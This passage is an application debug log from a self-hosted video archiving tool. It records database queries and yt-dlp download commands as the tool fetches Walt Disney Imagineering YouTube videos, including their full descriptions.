"not_live", "original_url" => "https://www.youtube.com/watch?v=d-WdUYdOdHY", "playlist_index" => 3, "timestamp" => 1773778635, "title" => "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "upload_date" => "20260317"} 18:56:36.297 [debug] QUERY OK source="sources" db=0.2ms idle=932.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:36.297 [debug] QUERY OK source="sources" db=0.2ms idle=932.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:36.298 [debug] QUERY OK source="media_items" db=0.6ms idle=933.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 20:17:15Z], 2] 18:56:36.300 [debug] QUERY OK source="media_items" db=1.2ms idle=893.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "64675fc6-2b94-4009-b67f-0aff4368088b", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", false, 267, false, 3, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].mp4", false, false, 2, [], 98, ~U[2026-03-17 20:17:15Z], ~U[2026-03-31 22:56:36Z], ~U[2026-03-31 22:56:36Z], "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", 267, false, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].mp4", false, 2, ~U[2026-03-17 20:17:15Z]] 18:56:36.300 [debug] QUERY OK source="sources" db=0.1ms idle=737.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:36.301 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:36.301 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:56:36.301 [info] Kicking off download for media item #12001 (d-WdUYdOdHY) 18:56:36.303 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1735, 12001, ~U[2026-03-31 22:56:36Z], ~U[2026-03-31 22:56:36Z]] 18:56:36.303 [debug] Current batch of media processed. Will check again in 1000ms 18:56:37.297 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/12/ff/12ff168780e2530da16b96e9efa5df57fbaf6922c142e3dbf67d476a2215d4fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:56:37.297 [debug] Running yt-dlp command for action: download 18:56:37.297 [debug] QUERY OK source="settings" db=0.2ms idle=995.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:37.297 [debug] QUERY OK source="settings" db=0.1ms idle=995.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:37.298 [debug] QUERY OK source="settings" db=0.1ms idle=995.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:37.298 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/43/03/4303df5aff89acb05b62dc8068faa973ddd880d9cbe42ea1e760962a045e81da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:37.303 [debug] Current batch of media processed. Will check again in 1000ms 18:56:38.304 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 *Key Takeaways*\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 *Chapters*\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🤖 R&D → https://youtu.be/EoPN02bmzrE\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "duration" => 1467, "filename" => "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].mp4", "id" => "D2bWh5wTlZ0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=D2bWh5wTlZ0", "playlist_index" => 4, "timestamp" => 1773154811, "title" => "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "upload_date" => "20260310"} 18:56:38.305 [debug] QUERY OK source="sources" db=0.2ms idle=1007.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:38.305 [debug] QUERY OK source="sources" db=0.1ms idle=1007.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:38.307 [debug] QUERY OK source="media_items" db=1.0ms idle=1007.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 15:00:11Z], 2] 18:56:38.309 [debug] QUERY OK source="media_items" db=1.9ms idle=901.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 *Key Takeaways*\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 *Chapters*\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🤖 R&D → https://youtu.be/EoPN02bmzrE\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "8b27c6d1-8cb4-4991-905c-976a4e9abb97", "D2bWh5wTlZ0", "https://www.youtube.com/watch?v=D2bWh5wTlZ0", false, 1467, false, 4, "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].mp4", false, false, 2, [], 98, ~U[2026-03-10 15:00:11Z], ~U[2026-03-31 22:56:38Z], ~U[2026-03-31 22:56:38Z], "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 *Key Takeaways*\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 *Chapters*\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🤖 R&D → https://youtu.be/EoPN02bmzrE\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "D2bWh5wTlZ0", "https://www.youtube.com/watch?v=D2bWh5wTlZ0", 1467, false, "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].mp4", false, 2, ~U[2026-03-10 15:00:11Z]] 18:56:38.310 [debug] QUERY OK source="sources" db=0.2ms idle=743.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:38.310 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:38.311 [debug] QUERY OK source="media_items" db=0.2ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 18:56:38.311 [info] Kicking off download for media item #11511 (D2bWh5wTlZ0) 18:56:38.312 [debug] QUERY OK source="tasks" db=0.1ms idle=2.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1736, 11511, ~U[2026-03-31 22:56:38Z], ~U[2026-03-31 22:56:38Z]] 18:56:38.312 [debug] Current batch of media processed. Will check again in 1000ms 18:56:39.313 [debug] Current batch of media processed. Will check again in 1000ms 18:56:40.314 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → https://youtu.be/IZwvg7w1_Kw\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🦁 if you roared watching this episode!", "duration" => 156, "filename" => "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].mp4", "id" => "diprlz4GBlk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=diprlz4GBlk", "playlist_index" => 5, "timestamp" => 1771970401, "title" => "How do the Imagineers keep the lions away from the rhinos?!", "upload_date" => "20260224"} 18:56:40.315 [debug] QUERY OK source="sources" db=0.2ms idle=909.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:40.315 [debug] QUERY OK source="sources" db=0.1ms idle=909.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 